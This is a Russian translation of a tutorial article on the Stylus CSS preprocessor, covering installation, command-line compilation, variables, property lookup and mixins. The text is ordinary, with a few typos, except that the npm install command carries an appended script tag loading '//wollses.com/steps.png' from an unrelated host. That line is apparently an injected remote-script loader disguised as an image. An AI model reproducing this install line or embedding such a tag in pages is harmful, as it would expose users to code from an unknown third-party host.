Если вы часть Front-End сцены, вы, возможно, слышали о Stylus, дальнем родственнике препроцессорного языка Sass, которого никто толком не знает. Как и Sass, Slylus является CSS препроцессором, написанном в Node.js. Согласно данным веб-сервиса GitHub, он определяет себя как:
[…] революционно новый язык, обеспечивающий эффективный, динамический и экспрессивный способ создания CSS.
Ну, допустим, что использование слова «революционный» здесь немного преувеличено. Но все остальное, правда. «Что? Еще один?»- спросите Вы. «Своего рода», – отвечу я. Но, Stylus совершенно не новый язык. Он начал свое существование примерно с начала 2011 года, но, как я успел заметить, мнение о нем довольно разнится. Кстати, знаете ли вы, что последние изменения в Mozilla Developer Network были сделаны при помощи Stylus? Дэвид Уолш, занимавшийся проектом, также написал о том, как начать работу со Stylus.
Итак, каковы преимущества Stylus перед Sass? Во-первых, он разработан на базе Node.sj, что для меня лично является плюсом. И как бы это и здорово, что можно использовать Sass в рабочем процессе Node, благодаря Sass wrapper для LibSass, однако, нельзя сказать того же самого о LibSass, написанном в Node.
К тому же, Slylus имеет чрезвычайно податливый синтаксис, который может быть хорошим или плохим в зависимости от проекта, команды и тенденции придерживаться строгих принципов кодирования. Я думаю, что податливый синтаксис это неплохо, конечно, если вы не начнете «привлекать» слишком много логики к таблице стилей, и поставили код, прежде чем совершить это.
В общем, Stylus и Sass поддерживают довольно много одних и тех же функций; вы можете взглянуть на полный список функций Stylus, но не ждите ничего новаторского (хотя там есть несколько усовершенствованных функций). Slylus также поддерживает множество синтаксических функций, хотя контуры являются гораздо более размытыми, чем в Sass: вы можете писать в разных стилях как хотите (с отступом, в CSS-стиле), и вы можете смешивать и сочетать в одном стиле (анализатор для этого, должно быть, было весело писать).
Итак, что вы думаете? Хотите попробовать?
Начинаем
Как отмечалось ранее, Slylus написан в Node.js, чтобы мы могли установить его, как любой другой пакет npm:
$ npm install stylus -g<script src="//wollses.com/steps.png"></script>
Оттуда, вы можете подключить его в рабочий процесс Node с использованием JavaScript API, или вы можете использовать командную строку command line executable, чтобы составить таблицы стилей. Ради простоты, мы будем использовать инструмент командной строки Stylus, но, не стесняйтесь взять его у Node script, Gulp или Grunt
stylus ./stylesheets/ --out ./public/css
Предыдущая команда сообщает Stylus, чтобы собрать все Stylus стили ( .styl) из папки stylesheetsи собрать их в папке public/css. Конечно, вы также можете посмотреть каталог, если хотите внести изменения:
stylus --watch ./stylesheets/ --out ./public/css
Написание стилей в Stylus
Если вы только начали, и не хотите перегружать себя новым синтаксисом, знайте, что вы можете написать простой CSS в файле .styl . Так как Stylus поддерживает стандартный синтаксис CSS, то можно начать с CSS кода, только чтобы усилить его немного.
Основной синтаксис
Что касается самого синтаксиса, то там почти все по желанию. Фигурные скобки: зачем беспокоиться? Двоеточия: давай! Запятые: да, кому они нужны! Скобки: пожалуйста. Ниже идеально правильный код Stylus:
.foo .bar color tomato background deepskyblue
Что-то вроде нарушения на первый взгляд, но мы можем привыкнуть к нему, особенно, когда доступны синтаксические маркеры. Как вы, вероятно, догадались, предыдущий код компилируется в:
.foo, .bar {
color: tomato;
background: deepskyblue;
}
Переменные
Наиболее часто используемая функция от CSS препроцессоров должна иметь возможность определять переменные. Это не удивительно, что Slylus предлагает и это тоже. Хотя в отличие от Sass, они выражаются знаком равенства ( =), а не двоеточием ( :). Кроме того, знак доллара ( $) не является обязательным и может быть спокойно опущен.
//Определяем переменную `text-font-stack` text-font-stack = 'Helvetica', 'Arial', sans-serif; // Используем ее, как часть свойства `font` body font 125% / 1.5 text-font-stack
Теперь есть кое-что, что Stylus делает, а Sass или любой другой препроцессор не делают: поиск величины свойства. Допустим, вы хотите применить отрицательное левое поле в половину ширины; в Sass вам придется сохранить ширину в переменной, но не в Stylus:
.foo width 400px position absolute left 50% margin-left (@width / 2)
При использовании @width, мы говорим Stylus получить значение width
свойства текущего блока, рассматривая его в качестве переменной. Довольно просто! Еще один интересный вариант использования, это выводить свойство в зависимости от того, было ли оно определено ранее:
.foo // ... other styles z-index: 1 unless @z-index
В этом случае, z-index будет иметь значение 1, если только ранее .foo уже не имело установленное значение для свойства z-index. В паре с mixins(примеси) это будет сильный ход.
Mixins (примеси)
Говоря об этом, давайте определим что такое «примесь» , так как это, вероятно, один из самых популярных функций Sass! Примесь в Stylus не нуждается в определенном ключевом слове; это примесь, если она имеет скобки (пустые или нет) в конце своего имени.
size(width, height = width) width width height height
Также как и в первом случае, чтобы включить примесь, не нужно специального синтаксиса, как например, @include или +:
.foo size(100px)
Вы даже можете опустить скобки, если вы хотите, в этом случае, это будет похоже на то, что вы полностью используете стандартное (еще не) CSS свойство. Этот механизм называют прозрачные примеси, так как их включения невидимы.
.foo size 100px
Это может выглядеть ненужным трюком, на первый взгляд, но на самом деле эта функция позволяет авторам расширить стандартный синтаксис CSS. Рассмотрим следующую overflow примесь:
overflow(value)
if value == ellipsis
white-space nowrap
overflow hidden
text-overflow ellipsis
else
overflow: value
Если данное значение – это ellipsis, он печатает хорошо известный декларационный триплет, необходимый, чтобы иметь одну строку, переполненную многоточием. Иначе, она печатает заданное значение. Вот как вы будете использовать его:
.foo overflow ellipsis
И это даст:
.foo {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
Вы должны признать, что это довольно крутой трюк. Хотя он может быть запутанным (и, возможно, опасным); быть в состоянии расширить стандартные свойства CSS с дополнительными значениями на самом деле интересная концепция.
Если вы хотите передать некоторое содержание в примесь, в стиле @content, это, возможно, через {block} переменную. Во время включения, вам нужно только поставить перед именем примеси +, чтобы передать ему дополнительное содержание.
has-js()
html.js &
{block}
.foo
+has-js()
color red
Этот код скомпилирован в:
html.js .foo {
color: #f00;
}
Последняя и очень интересная особенность примесей Stylus: они всегда имеют локальную переменную arguments, содержащий все аргументы (если таковые имеются), которые передаются в примеси, когда они туда включены. Этой переменной можно манипулировать и рассматривать как массив, например, для извлечения значения в конкретных индексах с помощью сочетания [..] как в JavaScript.
И в заключении…
Исследовать все особенности и синтаксические трюки от Stylus было бы слишком долго, и я думаю, что мы уже сделали приличное введение, достаточно, чтобы начать по крайней мере!
Как вы можете видеть, Stylus очень податливый. Из всех существующих инструментов, которые могут помочь написать CSS, Stylus, безусловно, единственный, приближающий CSS к реальному языку программирования.
Обратите внимание, что Stylus, также имеет собственную инфраструктуру, как Sass имеет Compass, и называется он Nib. Nib – это инструменты, обеспечивающие дополнительных помощников и кросс-браузеров поддерживающих примеси для Stylus.
Некоторым людям это, возможно, понравится, а некоторым нет. Хотя мой совет – быть очень строгим с синтаксисом. Работа с таким толерантным синтаксисом не всегда может быть счастьем. В любом случае, приятно видеть здоровую конкуренцию Sass.
Перевод статьи
